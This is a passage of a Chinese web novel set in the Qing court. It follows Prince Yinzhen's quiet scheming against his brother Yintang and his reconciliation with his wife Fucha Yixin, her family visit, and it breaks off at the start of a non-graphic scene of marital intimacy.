胤禛似是无奈,讨饶看康熙一眼,解释说,“老十四年幼莽撞,但也是儿子的亲弟弟,儿子还要同他争竞长短不成?” 乾清宫书房只有康熙和胤禛二人,点着浓浓的龙涎香,出了侍茶宫女那等事,康熙多疑到将乾清宫上下清洗一遍。 “哼,对这些不将你当兄长之人,你还要让着他。”康熙又看了看胤禛,他腕上的骨节突起,瘦弱单薄似乎可以窥见病痛的模样,他强硬叮嘱一句,“若是再让朕知道你被哪个不长眼的欺辱了,朕就先罚你禁足,省得朕看你这副优柔模样心烦。” 胤禛笑着摇摇头,讨饶说:“阿玛仁厚贤明,儿子自是效仿,倒是东施效颦了。” 康熙被他哄一句,冷哼一声又扬起唇角,“陪朕下棋。” 闲敲棋子,一言一语倒是轻松惬意,康熙觉得许久不曾这般开怀。 他问询几句胤禛身体近况,叮嘱他按时吃药,若是有什么药材短缺尽管向他讨要,甚至问起他在别庄亲自耕种的马铃薯这十来天长势如何,有没有发芽。 胤禛不远不近回答,不耽误落子,笑着回答。 想起什么,康熙又温声询问富察氏如何,相处可还好。 富察氏如何,胤禛听到这话,逾矩地握住康熙的手,闷闷不乐看一眼眼前震惊局促的男人,笑着央求一句:“阿玛,让儿子赢一局吧。” 康熙怔愣,反应过来笑骂一句:“没出息,多大年纪,下不过还要耍赖。” 胤禛弯唇。 康熙落子明显松泛许多,心不在棋局上,便想得事也就多些,他随口问一句。 “老九的事,你怎么看?” 第33章户部朝廷糊涂账 “虽是行事荒唐诡鸷些…” 康熙冷哼一声,“你是让朕宽恕他?” 胤禛弯唇,“皇阿玛,堂前教子,皇阿玛教导老九,便是朝堂当众斥责惩戒,那也是为了他好。” “儿臣认为,老九又是初犯,小惩大诫一番,能想必理解皇阿玛用心良苦。” “他也老大不小,应该为弟弟们做良好表率…若那帮小的有样学样,岂不是乱了套。”胤禛像是随口闲聊,又绞尽脑汁下棋。 胤禛说着求情“小惩大诫”的话,却句句戳康熙心窝。 康熙心头一紧,他有三十多个儿子,若是人人都像老九一样,把手伸到御前,那他如何能安枕。 这是第一次,必须要重罚!杀鸡儆猴。 “朕要将胤禟革去黄带子,贬为庶民,”康熙一拍桌子,“那个不忠不孝的东西,就不要来做朕的儿子了!” 胤禛起身要跪下,被康熙拦住。 “刚刚的话不许传出去。” “皇阿玛…”胤禛为难开口,“老九有错,儿臣以为也该重罚,以儆效尤,可他毕竟…” “哼,刚教你不要优柔。”康熙扔掉棋子,抿口茶。 胤禛笑笑,“儿臣并非优柔之人,儿臣十三岁便在户部观政,而后游走六部,外省民间办差,入朝十三年矣,何时因优柔犯错呢?” 康熙满意点点头,确实如此,老四端庄沉稳,顾全大局,又并非掐尖要强,最让他省心。 “你确实让朕放心。” 胤禛笑着按下棋子,咳嗽两声,起身撤到一旁猛猛咳嗽,面色霎时惨白。 饮过一盏温水后,胤禛才没有继续咳嗽,倒是一股弱柳扶风感,刚喝过水后,他的唇色嫣红,显得脸更白了。 康熙眉头紧皱,“是不是那三个太医伺候不仔细?怎么将养了这么些日子还不见好?” “儿臣无碍,明日便准备回户部当差了。”胤禛捧着饮温水,笑吟吟开口。 康熙冷哼一声,“晚些再当差,不急于一时。年轻时的伤病,再过十年二十年要吃亏的。” 胤禛勤于为政,办差是出了名的稳妥严谨,一年不曾休息几日,如今生病,他休养些时日,任谁也说不出错来。 “皇阿玛,儿臣放心不下户部差事。”胤禛轻叹一口气,又咳嗽两声。 国库又不算富裕,甚至称得上空虚,户部差事并不算肥差,反而少不了和朝廷衙门因拨款之事掰扯闲事。 战争消耗,吏治腐败,“藏富于民”致使税收减少,康熙又喜爱下江南,劳民伤财,胤禛看着户部朝廷糊涂账,若是朝政把持在他的手上…万不会如此。 胤禛不咸不淡提起修筑堤坝的一些事。 康熙也放个软话,如何处罚老九的事情,再考虑考虑。 父子二人聊了半晌政事,而后太医为胤禛请平安脉,康熙勒令他在乾清宫旁的承安殿住一夜。 …… 人间十月,梧桐树树叶开始泛黄,大殿的四周,古树参天,绿树成荫,红墙黄瓦,金碧辉煌。 胤禛站在承安殿前独自饮茶,夜里凉风习习,他深夜未眠。 昨日别庄,他想说他会赶回别庄陪她睡觉,然而还是忍住,因为他料想过入宫后留宿这种情形,果不其然。 性格使然,他不习惯空口许诺。 做不到的话,空留她难过。 成亲四个月有余,第一次晚上留她一个人睡觉。 胤禛看一眼月亮。 仪欣也没有睡着,正和植宁窝在床榻上嘀嘀咕咕叙话,她穿着藕荷色寝衣,发髻已经散落在腰后,一身水汽,显然今晚要在一起睡了。 年氏的别庄很不错,仪欣手握地契房契,雍亲王府的侍卫将别庄护得稳妥。 仪欣和植宁没有困意,两人很少有机会深夜叙话,此时越聊越开心,商量两人合开的点心铺子“酥阁”。 京城最繁华的地界是八大街,离雍亲王府不算近,仪欣也不常去。 但是仪欣很是上心,她喜爱糕点,不是为了金银,就是只盼自己有家点心铺子能做各种自己爱吃的小点心。 植宁也是如此。 她们生而锦衣玉食,群仆环绕,可能在府中做格格时手头不宽裕,若是拿到嫁妆,那便是一笔能供养到她们去世的不菲金银,点心铺子三瓜俩枣也只是听个响罢了。 酥阁各种糕点的用料讲究,厨师都是富察氏、西林觉罗氏和雍亲王府搜罗来的有经验之人。 因此,糕点定价不低,不出售隔夜茶点,但是日日有剩余。 说起这个,仪欣心疼的龇牙咧嘴,香喷喷的小点心,剩下的糕点打赏给下人,但每日总有些原材料剩余不少,不得不倒掉。 这得撑死多少只大老鼠啊。 仪欣想起她来别庄路过城门的景象,冷不丁提起,“不如,将每日剩下的糕点,统一运送到京城城南,送给那里的小孩子吧。” 植宁精神一震,也觉得可行。 京城是个颇为奇怪的地方,京城北繁华富庶,王公大臣亲王贝勒府邸,坐落有致,然而,京城城南的贫民窟又是另一番风光,让人很容易有茫然的割裂感。 京城南北,各有定数。 两个人从小一起长大,性情相投,观念一致,兴奋得你一言我一语,想商量出个章程来。 酥阁如今生意很不错,能够做一些有意义的事情,她们都很高兴。 两个人都有些天马行空的想法,又是堪堪自己能当家做主,有少年气的年纪,聊着聊着便规划得越来越多。 于是,仪欣一整夜没睡着。 …… 胤禛回别院时,里里外外翻找一圈。 没找到霹雳扑棱往怀里钻的人。 她身边的晴云也不在。 晴空禀报:“王爷,福晋在西林觉罗格格那里呢。” 胤禛点点头,去找她。 他回别院时间已经过了晌午,来到年氏别院才得知,她昨夜和西林觉罗格格睡在一起。 不,别说睡在一起,她昨晚不知又寻得什么新鲜事,压根没睡。 如今还呼呼睡着。 胤禛没用午膳急忙赶回来,如今小没良心的尚在酣眠,他亦不愿扰她清梦,所以边等她睡饱,边用膳。 用过午膳,胤禛在亭下坐着翻看近日仪欣写的大字,执笔批改。 第34章老八钱袋子危! 只是后面两行总是乱七八糟,不像个样子。 胤禛皱眉翻看,最后这一页写得什么玩意?是有狗在后面撵着她写的吗? 笔锋歪斜,绵软无力,连学习的态度都这般敷衍。 他不悦撂下笔,皱眉端过茶盏喝茶,最后一页都不值得批改。 她实在不像话,他也并非要求她一开始就写的如米芾一般,好歹要乖巧认真。 只听到细细碎碎的脚步声,胤禛还没抬头,一只花孔雀笑意盈盈钻到他怀里,呜呜囔囔湿漉漉轻蹭他的颈窝。 “王爷,我都想你了。”仪欣抱着他的腰,耳尖微红,看着他在查自己的功课,表功得意问,“王爷,怎么样,我写得不错吧?” 仪欣的馨香扑了胤禛满怀,胤禛难察觉弯唇吻她的发顶,轻轻“嗯”一声,闭了闭眼,道,“确实有进步。” 仪欣憨笑,仰头要亲亲,还不忘恭维一句,“都是王爷教的好哇。” 胤禛:“……” 清风将她写得大字翻的哗啦啦作响,胤禛给仪欣裹了裹斗篷,目光接触到最后那歪歪扭扭的字,心间一叹。 只盼出门在外,夫人不要提及本王的名讳。 …… 仪欣这几日忙着酥阁的事情。 她和植宁合计一下,酥阁每月差不多盈利八百两,两人每月拿出来一百两银子,制成糕点,随着每日剩余的糕点,一同分发给城南百姓。 也算是为酥阁积攒个好名声。 胤禛近几日忙碌,时常在书房议事到很晚。 夏刈:“王爷,京城来信了。” 胤禛拿过来没有看,便知已然心想事成。 拆开信封,果然如此。 老九被皇上关到养蜂夹道思过,归期不定;同时,没收全部私产,充公国库,为百姓祈福。 罪名也值得考究,并非窥探帝踪,而是…沉醉经商,与民争利。 胤禛两指捏着信函,随意放在燃着烛火上,抖了抖手腕。 邬思道惊叹一句:“王爷,实在是意外之喜。八爷党没了钱袋子,那跟骏马失前蹄无异啊!” 意外之喜? 胤禛挑眉轻笑,不做声。 书房外有女子说话声,胤禛起身示意他们回吧,自顾自阔步走出书房。 仪欣提着小橘灯,裹着披风来接胤禛回寝殿睡觉,胤禛自然而然接过她的小橘灯,将幽蓝色斗篷裹紧身边人,揽着她往外走,低头询问她冷不冷。 远远看着两人背影,邬思道心头微动,王爷这并非不能近女色,这般想着不由得大喜。 王爷夺位唯一劣势便是子嗣和姻亲。 其他贝勒爷王爷在雍亲王这个年纪,嫡子均已开蒙,还有侧福晋格格姻亲纵横交错,更是不容忽视的助力。 这般想着,邬思道又庆幸,沙济富察氏实在高门显贵,雍亲王福晋的身份让人无可挑剔。 仪欣白天不起,晚上撒欢睡不着,在庄子上生活散漫,好似成了习惯。 胤禛有意让她早睡,却每晚都禁不住她撒娇,最近夜夜都睡得很晚。 今夜亦然。 他盘膝坐在软榻上,面色平和,一言不发,垂眸翻看她近日的功课,矜贵沉稳,仿佛是在参悟佛经。 “王爷,你陪我下棋吧。”仪欣拉着他的手,摆弄着白玉棋子。 胤禛抬眸,说:“明日一早,陪你下棋,先睡觉。” “不好,我还不困呢。”仪欣支着下巴,推给他白子,骄矜央求一句,“就两局。” 胤禛撂下她的功课,拾了几颗白子,说,“好,就两局。” 也就一盏茶功夫,两局就结束了,仪欣呆呆愣愣抬起头,确认半晌,“我这是又输了吗?” “嗯,去睡觉。” 胤禛捞起软榻上的人,抱到床榻上。 仪欣挣扎着坐起身来,钻到他怀里,撒娇蹭蹭问,“那王爷可以和我一起读话本子吗?” “不可以。” “可是我想读。” “富察仪欣…今晚还能不能睡觉了?能不能看看现在几时了?要是想读,你自己去别的寝殿睡,别回来了。”胤禛沉了语气。 别回来了。 仪欣一愣,没有像平日一般撒娇卖乖,粉唇轻张,跪坐在床榻歪头困惑看着胤禛。 为什么要说分房睡的狠话呢? 慢吞吞起来,吸了吸鼻尖,仪欣爬下床就要走。 胤禛反应过来,咬了咬舌尖,从背后抱紧她,低声懊恼说:“仪欣,我…我刚刚语气有点差…” “可是,我被在意的人凶一下,会很难过。” 胤禛沉默亲吻她的侧脸,感觉非常挫败,不由得反思,她喜欢跟他一起睡觉,便是给自己权力拿分房睡去威胁她吗? “仪欣…” 仪欣很直白,垂着头抵触推开他的怀抱,钻到床榻深处,小声说:“这就睡了。” 寝殿内烛火熄灭,胤禛坐在床榻边,床幔解落后,极度昏暗的一寸床榻,他竟然有些不知该怎么办。 胤禛摘下腕间佛珠,想如往常那般把她抱在怀里,仪欣躲一下,将床榻上多余的被衾抱在怀里,缩成一团睡了。 * 第二日早起,仪欣先将植宁送上回京城的马车,植宁在别庄住了五日,玩得很开心。 “格格,雍亲王在不远处等四福晋呢。”植宁的丫鬟提醒一句,您和四福晋聊两句告别,也别让王爷等太久。 植宁抬头就看到站在绿瓦红墙下的男人,挤眉弄眼笑着打趣仪欣:“快去快去,让王爷等不及了。” 仪欣挽着植宁的胳膊晃晃,轻哼一声,“我过几日也回京城了,咱们一同研究小点心。” “不是要待到落雪时节吗?”植宁诧异。 仪欣和植宁钻到马车里,唇角抿着,随口说,“因为很无趣呀,他很忙,我早晨醒来他已出门办事,然后他会在书房待到很晚,只有从书房回寝殿路上才能讲话。” 庄子上有趣也无趣,有趣的东西,诸如骑马射箭,天气渐凉,她并非很娴熟,身子骨也一般,就不能去玩。 钓鱼,种地,扎风筝,又觉得自己一个人很枯燥。 晚上,他也不想跟她说话。 倒不如回京城。 第35章没头脑和不高兴 “没事,回京城也好,到时候咱们一块玩,昨晚睡前还琢磨着去城南找个固定地方派发小点心,过几日咱一起去。”植宁笑着说。 仪欣骄矜点头,挠挠她的手心,“那我快点回去,你路上要注意安全哦。” 见马车离开,胤禛走过去,问:“今日想做什么呢,本王陪你吧。” 仪欣瞅一眼他,踹一脚红墙边的榕树,转身就走。 “不用了。” 胤禛抿唇,在身后亦步亦趋跟着她。 平日一起散步,她都会挽着他的胳膊,叽叽喳喳说话。 “嗯…不如去骑马?” 仪欣摇摇头,随便摆摆手,“王爷去忙吧,我要去看话本子。” 话本子。 胤禛攥了攥佛珠,去牵她的手,温声说,“我陪你看吧。” 仪欣挣脱开,黑漆漆眸子看着胤禛,又固执摇摇头,“不要,反正我自己一个人看也一样,对王爷来说也挺无聊的。” “王爷自己去忙吧。” 胤禛抿唇。 * 暮色四合。 胤禛在书房听谋士扯皮。 他就在一旁捏着细毛笔给仪欣批改大字。 仪欣从前练得是簪花小楷,底子非常不好,胤禛握着笔斟酌着批改她的簪花小楷,在一旁学着她的字体,带他的气韵笔锋落下一个个略显秀气的字。 半晌,他揉了揉眉心。 邬思道止住声音。 “说到哪里了?”胤禛看了眼刻漏。 邬思道笑呵呵开口:“王爷,年羹尧要去蜀地任职了。” 胤禛笑笑,不耽误批改,说,“亮工向来是个聪明人,本王会在他启程之前为他饯行。” 邬思道恭维一句:“王爷英明。” 年羹尧是个人物,就是总是摇摆不定,八爷倒台之后,他才坚定跟随雍亲王。 胤禛赋闲养伤,朝堂上的事自然需要私下里关注更多,听夏刈汇报粘杆处的收到的各种消息,以及户部近况。 一摞信函公务,在落蚕声中处理完,他大多数时间是倦怠沉默的,只听着下面人汇报公务,也能不疾不徐专注笔下信笺。 他察觉,某个时间一到,书房里的谋臣都有些坐立不安起来。 胤禛捻着佛珠,沉默垂眸,这个时间,她该来接他回去睡觉的。 约莫又过了一盏茶功夫,胤禛唇角抿着,渗露出些许焦躁不安,眉宇间难以掩盖倦怠。 一名谋士笑着打趣一声:“王爷,奴才们先告退了,怕是福晋过会儿便来了。” 邬思道直觉不对,胳膊杵那名谋士一下。 没看福晋今夜根本不来吗? “你们回吧。福晋一会儿便来。”胤禛随意开口。 他的声音如同秋夜的潭水,带着一贯的清冽与疏淡。 待到书房里只他一人,他才揉了揉眉心。 笑死,实际家妻根本不在意。 他又等了一刻钟,仍旧没有人来。 苏培盛苦笑两声,恭敬弯着腰递上一盏茶水,窗棂外灯火渐稀,这盏茶恰到好处提醒王爷该歇了。 王爷处理起公务来太过勤勉,时常废寝忘食,好容易有了福晋改善一些,又这般模样。 …… 仪欣承认自己在怄气,她纵使有千错万错,可他也不能凶她,况且,她怎么会有错? 只是,晚上自己睡觉十分不安稳,额娘曾经说过,她幼时身子骨差,夜里有些动静容易吓到,似乎是哪路神仙爱同她闹,要威胁富察府给他烧纸钱。 “晴云,今晚你陪我睡,好不好?”仪欣轻声问。 晴云温柔跪坐在床榻前,轻哄着:“奴婢在这里陪着福晋。” “晴云,我明天想吃桂花米糕,还有仙梨乳茶。”仪欣牵着晴云的手。 晴云温声说:“奴婢明日给您做。” 仪欣开心弯唇,想到某个人,又压下唇角,恶狠狠说:“内院就给他留一盏最暗的灯。本福晋睡了。” 她说完,轻轻打个哈欠,葱白细软的指尖搭在晴云的手腕上,一团窝在被衾里。 晴云深知福晋的刀子嘴豆腐心,差使小厮不要忘记给王爷留灯。 不知过了多久,似乎到了后半夜。 炽热的胸膛总归是不同的,仪欣睡得很不安稳,梦里自己泡在寒潭里,呜呜囔囔挣扎。 梦很长,下一秒,仪欣陷入一个温热的怀抱。 茫然挣脱,懵懂睁开眼,仪欣看到床尾处,无声无息坐着一个人。 那人还穿着玄色衣袍常服,满身熟悉的气息霎时安抚好仪欣梦魇里的慌乱,他不知坐了多久,室内的温暖和煦代替了他衣衫沾惹的寒凉。 仪欣困得发懵,顺势枕在他的腿上,咕哝着说:“你怎么在坐着呢?” “我回来的时候,你正睡着,我不想吵醒你,就在床边坐一会儿,顺便想点事情。” “仪欣,我最近是不是忽略你了。” 他的声音里带着夜里独特的暗哑,他坐在床榻边复盘两个时辰,才想清楚这些事情。 他没有处理情爱的经验,不清楚和爱人相处的尺度,看不透她撒娇背后的委屈和爱意,细想想,他也是蠢笨。 仪欣闻言冷哼,裹着被衾打个滚,不理他。 “还可以抱着睡吗?”他的声音很轻。 “昨夜凶仪欣,是本王做了错事。” “昨夜…近日你睡得晚,前几天还整夜未眠,我只是担忧你困倦头痛,说话语气不好。” 仪欣倏地坐起来,声音闷闷的,带着娇嗔不满,“就是凶我了,就是忽略我了,反正你得补偿我。” “补偿我之后,就可以抱着睡,不然王爷自己去旁处睡别回来了。” 胤禛弯唇,起身蹲在床榻旁,仰视她,耐心问:“仪欣想要什么补偿呢?只要本王有,皆可。” 仪欣狡黠眯着眼睛,羽睫轻颤,白嫩指尖勾住某处。 转眼间,胤禛手腕上的佛珠便挂到了仪欣手腕上,她晃了晃,碧绿佛珠轻碰发出泠然声响,黄色垂穗扫落她的寝衣。 “倒是识货。”他无奈笑叹一声。 仪欣美滋滋将佛珠在手腕上绕了两圈,“把它送给我。” 胤禛自顾自宽衣解带,到床榻上将人抱到怀里,拨弄她腕间佛珠,笑着商量:“这佛珠…暂时不能给你。” 仪欣立马挣扎推搡他,他刚刚可不是这么说的! 第36章佛珠。 “府中库房有一块上好的翡翠,和这串佛珠翡翠成色不相上下,再给仪欣打一串,好不好?” “王爷不舍得吗?”仪欣不满。 “不是。” 胤禛低声在她耳边说了什么,仪欣眸子圆溜溜瞪大,惊愕看着胤禛,放轻呼吸,像是鬼鬼祟祟预谋着打翻烛台的猫儿。 竟然是这样? “那我们要戴一样的佛珠,你…你这串佛珠不能让旁人碰。”仪欣骄矜吩咐。 “好。只有仪欣可以碰。” 胤禛弯唇,她真是好性子,他闷闷笑着低声说,“本王和佛珠都只有仪欣可以碰。” 仪欣瞪眼捂住他的嘴,搂住身侧人的腰,胤禛轻吻她的手心,心里一轻,这应该算是哄好了吧? “王爷,我会替你保守秘密的。”仪欣认真开口。 胤禛莞尔,搂紧她夸赞一句:“得妻如此,夫复何求。” * 仪欣早晨起的晚,胤禛将处理政务的时间调整到上午。 从前早晨上朝,不得空召见谋士,如今赋闲,倒是能改一下晚上处理公务的坏习惯。 仪欣醒来就见到额娘在床边冲着她浅笑。 “额娘?” 仪欣蹭到钮祜禄氏怀里,抱着撒娇,“额娘,我都想你了。” 钮祜禄氏不赞同嗔怪一声:“你怎么睡到这个时辰,王爷早已晨起,你还睡着,倒叫王爷笑话。” 仪欣摇头晃脑,“王爷又不会在意。” 钮祜禄氏摸摸仪欣的头,笑着摇摇头。 她本来还担忧女儿被雍亲王坑蒙拐骗嫁妆,可前阵子收到女儿送来的螺子黛蜀锦和雪顶含翠,她倒是放心了。 王爷天潢贵胄,皇子龙孙,怎会看得上那些。 想必也有些内情。 她也想得开,夫妻二人相处过日子,每家每户都有自己的章法,她作为额娘,只要能给女儿托底和庇护即可,无需过多干预指点女儿的婚后生活。 过犹不及,反倒不美。 钮祜禄氏温婉笑着说:“快起吧,你阿玛和傅文傅辙今日沐休,他们都在外院书房和王爷喝茶呢。” “我要额娘给我梳头。” “好,额娘给仪欣梳头。”钮祜禄氏笑着答应。 仪欣在床上爬起来,洗漱完后乖巧坐在梳妆台前,手边楠木捧盒里放着小点心。 她捏起一块桃花酥,送到口中,眯着眼喟叹一声,“额娘,你做的桃花酥最可口。” 钮祜禄氏忍俊不禁,“多吃一点,还有你爱吃的桂花糕、米糕,应该还是热乎的。” “你阿玛接到王爷信函,恰今日沐休,便过来了,点心都是晨起新做的,多吃些,平日凉的糕点可不要多食。” “欸!额娘说的,我都记着。” 钮祜禄氏比量着发簪,看着铜镜中娇憨可爱的脸,不由得爱怜笑了。 仪欣是个小话唠,叽里咕噜和额娘分享她做了什么事,扎风筝,骑马,射箭,钓鱼,捡松果,还种马铃薯。 钮祜禄氏也连连惊叹,有些新鲜事她也不曾听过。 待到梳完头发,仪欣兴致勃勃提笔还给钮祜禄氏展示一下自己的簪花小楷。 钮祜禄氏由衷夸赞:“哎呦,怎么进步这么大?雍亲王府给你请了哪位女夫子?” “是王爷教的。” 钮祜禄氏一惊,又笑着夸赞:“听闻王爷的书法是极好的。” 仪欣骄矜与有荣焉昂着头,“那是自然。” …… 书房里。 正事谈完,四个男人便专心等着仪欣起床。 胤禛冷淡寡言,身份又最高,此时不说话,书房落针可闻。 马齐喝着茶,频频往书房外张望,傅文笑盈盈偶尔给胤禛斟茶。 傅辙是个急性子,等了半晌站起来,说,“不行,我去看看她,还没起床。” “傅辙,坐下。”富察傅文慢悠悠开口,手指搭在膝头,不紧不慢敲击,压迫感十足。 仪欣已然成亲,便不能如在富察府那般,亲王别庄内院,怎可肆意出入? 傅辙又老实坐下。 胤禛起身,温和开口说:“本王去接她。” 刚进内院,仪欣突然出现,她穿着藕荷色兔毛袄子,戴着幽蓝色斗篷,只露一双眉眼,见到胤禛笑意盈盈牵住他的佛珠。 仪欣手腕的佛珠挂着菩提子雕刻的莲花,浅白色莲花在碧绿色佛珠间轻转,意为事事顺意。 两串佛珠自然而然交缠。 “用过早膳了吗?”胤禛温声问仪欣,又朝着钮祜禄氏点头示意,打个招呼。 仪欣连连点头,又问,“阿玛呢,大哥三哥呢?” 胤禛轻笑,吓唬她说,“傅辙等急了,要揍你来着,本王给拦下了。” “不信不信,三哥才不揍我。” 仪欣拉着钮祜禄氏往书房走,胤禛在她身后不紧不慢跟着。 她真的是万千宠爱养出来的格格,胤禛每见一次她和家人相处,便会感叹一次,然后自省有没有将她养的更好。 仪欣一到,马齐一行人便起身迎过来。 马齐跟闺女脾气好的不像话,几乎是千依百顺,丝毫不见跟打赢康熙后拂袖而去的愤慨。 仪欣将跟钮祜禄氏分享的事情,又原原本本跟阿玛和兄长分享一遍。 马齐最捧扬,她说一句话就要夸一句,傅辙也是。 几个人溜达着到马扬,仪欣得意自己爬上青棕骑,居高临下骄傲昂头,“阿玛,我半个月就学会骑马了。” “哎呦,我闺女那肯定不一样,聪明,不愧是咱满州格格。”马齐笑呵呵夸赞,走上前来替仪欣牵着骏马缰绳,“先让阿玛替仪欣牵马护你一程,阿玛都没来得及教仪欣骑马,真的可惜。” “行呀,阿玛小心点,别让珍珠踹到你。” 哦,对了,仪欣偏要唤青棕骑为珍珠,胤禛抗议一下,也就罢了。 马齐撸起衣袖,爽朗笑着说:“阿玛是谁,怎会被马踢到,仪欣坐稳了。” 说完,牵着骏马慢悠悠走起来,走了半晌不过瘾,马齐看着仪欣坐得稳,大步跑起来。 “欸!阿玛!嘿!这老头!”傅辙见状赶紧跑过去,“阿玛,我来我来,该我了,你跑着多危险。” “阿玛,注意安全!”仪欣笑着喊。 傅文眯着眼看了看太阳,觉得心旷神怡,向身侧男人道一声谢。 “王爷待仪欣好,微臣必定为王爷鞠躬尽瘁。” 胤禛似笑非笑,冷淡桃花眼随意扫一眼傅文。 第37章做。 胤禛语气依旧淡淡的,显然是不想掰扯,晨光隔着树影映在他轮廓分明的侧脸上,光影斑驳,仿佛落下金光。 傅文朝着胤禛走一步,笑眯眯感慨一句:“雍亲王四爷真是运筹帷幄,朝堂上打得都是漂亮仗。” 傅文这话说的确实不假,胤禛人在别庄,朝堂上的事情决胜千里之外。 且不说老九倒台全然是他一手操纵,从一开始,胤禛为老九求情便是醉翁之意不在酒。 他引导康熙关注国库空虚,又给康熙惩戒老九寻得冠冕堂皇的借口——与民争利。 不仅解决了康熙的难题,如今那笔不菲金银,一半进了国库,一半在雍亲王私库。 老十四在夺嫡阿哥之中,序齿最小,本是夺嫡人选最不得关注。 八阿哥倒台之后,老十四本想借着乾清宫前大闹和引胤禛跪宫门为老九求情这两件事,将水搅浑,浑水摸鱼。 兄弟情义或许有,但老十四怎么可能单纯是个莽夫? 当天夜里,老十四胤禵想冠冕堂皇拉胤禛下水,为老九求情,然而,胤禛看到他就已权衡利弊,不然,以胤禛四平八稳的性格,加之又是在他的别庄里有层层暗卫,胤禛别说受伤,便都没可能老十四胤禵打起来。 老十四可谓诸事不顺,如今还在府中禁足呢。 胤禛淡淡抬眼,“或许吧。” 富察傅文不管雍亲王的冷淡,每时每刻都是和颜悦色的,仿佛戴着一层优雅迷人的假面,风度翩翩。 “王爷做事太狠,微臣总怕小九跟着您吃亏,有些话不得不说。” “傅文大人在说什么?本王听不懂。”胤禛看着傅文自然挑眉。 “四爷并非从前,微臣也不单是您的臣党。您如今…”傅文皮笑肉不笑,说着说着突然噤声。 你刀尖舔血,可别让我妹妹哭着心疼啊。 话外之音,都是聪明人,不用点破。 胤禛攥紧佛珠。 目光不觉望着马背上笑靥如花的娇憨人儿,仪欣也看到他了,明媚笑着朝胤禛晃了晃手腕上的佛珠。 半晌,胤禛对富察傅文认真点点头,轻轻“嗯”一下。 脑海中闯入她心疼呜咽眼眸,他猛然惊醒般看清楚现在的生活,他近日猛兽扑食般撕扯权财,如之前数十年一般,无所不用其极浸淫朝野,不在意自己的身体受伤,不在意外省办差多久,处理公务时可以废寝忘食。 他的生活里只有权力,冰冷且麻木。 他过惯了身后空无一人的日子,回头看一眼,仪欣在冲他笑。 他还有她,只有她。 …… 午膳吃羊肉锅子。 用膳时,分了三张桌案,三份羊肉锅子,香喷喷冒着热气。 胤禛和仪欣面前桌案上,摆着仪欣爱喝的仙梨乳茶和樱桃乳酪,她一个劲吃。 胤禛在桌案下捏了捏她的左手,仪欣以为他想牵手,软若无骨般缠上他骨节分明的大手。 胤禛气笑,给她夹两筷子肉,“多吃点肉,把那乳酪给本王端过来吧,我想吃。” “好~谢谢王爷。” 仪欣在桌下晃晃胤禛的手,示意苏培盛快点给王爷端过去,又将她手边的蜜罐柿子往胤禛那边推了推,“这个柿子是甜滋滋那种,王爷试试。” “好。” 胤禛弯唇笑,低头想亲还是忍住,她好乖啊,好听话,要将她养的无病无灾的,这样她就能尽情吃喜欢的东西。 钮祜禄氏和富察马齐相视一笑,王爷和仪欣难不成是什么锅配什么盖? 马齐笑呵呵问他们何时回京。 胤禛想说,落雪时节。 仪欣咬住筷子,说:“想过两日就回。” 胤禛一愣,抿唇说:“听福晋的。” 马齐豪爽笑着说:“行,家中人都念叨着你,到时候王爷和福晋回府用膳,你祖母前几日就念叨想你。” 仪欣连连点头:“我也想祖母,也想祖父,还有二哥,他在军营都不能告假,太辛苦了。” 傅辙揶揄噗嗤一笑,“他现在晒的跟黑熊瞎子一样,估计是不敢见你。” …… …… 胤禛撂下玉箸,在桌下牵着仪欣的手,专心听她和家人聊家中趣事,这种日常琐事,他经历的极少,听着有些沉默,只想她家中怎么这般多的人,她各个都清楚喜好,她哪个都喜欢人家。 好在他向来冷淡沉默,倒也没什么端倪。 用过午膳,又歇一会儿。 仪欣依依不舍送走阿玛额娘和兄长,开始兴致勃勃收拾衣裳,准备回京的事情。 植宁昨日给她传信,有很多人喜欢她们酥阁的小点心,植宁已经试着在城南发放三日,效果特别好。 她迫不及待想一起参与。 胤禛在一旁坐着,看她的话本子,一只手牵着她的佛珠。 见她不理自己,他眸色幽深,扯了扯她的佛珠。 仪欣回头娇纵打落他的手。 胤禛扯过她的身子,俯身咬上她的唇瓣,不提前跟他说何时回去,就擅自决定,生气,想亲。 太多人喜欢她了,他想独占。 想亲,想做。 灵魂极其爱怜的时候,身体压不住欲望。 “唔……” “富察仪欣,跟本王成亲,你高兴吗?”胤禛粗喘,顾不得听她回答,继续亲。 “什…么…?”仪欣懵懵的,头发被他揉的乱糟糟,旗袍褪到她的腰。 抵到腰后。 “感受本王…乖…” 感受…什么? 仪欣呜呜囔囔被禁锢着亲,两串佛珠缠着搭在禁忌某处。 神佛和尘世欲望,冲撞着胤禛的神经。 胤禛掐着仪欣的下巴,跟她对视,她眼尾通红,呜呜囔囔瘪了瘪嘴,恶劣笑了笑,威胁她说:“仪欣,说你愿意。” 仪欣忍不住咽口水,舌尖发麻,随着他呜呜囔囔溢出几个字,“…愿…意…” 下一刻就被打横抱起来进到内室。 “苏培盛,让他们都出去,谁也不能进内院。”胤禛步伐稳,沉声吩咐。 苏培盛激动的咽口水,扬手招呼侍奉的人都走都走,都走。 晴云担忧,苏培盛赶紧扯着她的胳膊,你也走。 “奴婢得伺候福晋…” “哎呦,晴云姑娘,王爷自己会伺候福晋的。”苏培盛激动的跺脚。 寝殿内,胤禛亲她安抚她,轻轻剥落仪欣的衣衫,扯开自己的衣裳扔在地上,又扯落床幔。 “小乖,爱不爱我?” “爱…爱啊…” “继续说,乖乖,继续说。” “爱…爱的…” 胤禛手臂青筋暴起,在她身上撑着起来,跪在床榻上,仰着头喘粗气,咬着牙商量一句。 “仪欣想在别庄做,还是更愿意回王府正院洞房花烛夜寝殿做。” 别庄会不会委屈了她,胤禛喉结滚动,一遍遍想。 第38章做做做。 仪欣亲得发懵,身体觉得甜腻腻的,有些冷趴着抱住他的腰。 她有点紧张吞咽一下口水。 胤禛被她抱得头脑发懵,手腕攥着佛珠一动不敢动,她的甜腻气息拉扯着他的情、欲。 “乖乖,说话。” 再拖下去,她就没有选择机会了。 仪欣不懂两个选择差别在哪里,紧张搂紧他的腰,脑瓜搭在他的肩膀上,软乎乎纳闷小声问,“可是…只要是跟你,在哪里…做…有什么差别呢?” 只要是跟你… 天呐。 “乖乖,你真的…你…你不知道…你怎么说出…这么乖的话…”胤禛闭了闭眼,搂紧她的腰。 “害怕…王爷…紧张…你…”仪欣不知道胳膊和腿该放哪里,眼里含着雾气躺着呜咽。 胤禛看着她紧张得浑身粉红,爱怜到处亲她让她放松,握着她的手腕搭到他的背上,低声哄:“抓我…疼就抓我…” 绯红的眼尾酿着怯意和委屈情谊。 突然,仪欣呜咽一声,羽睫下杏眸乌润润的,大颗珍珠滑落。 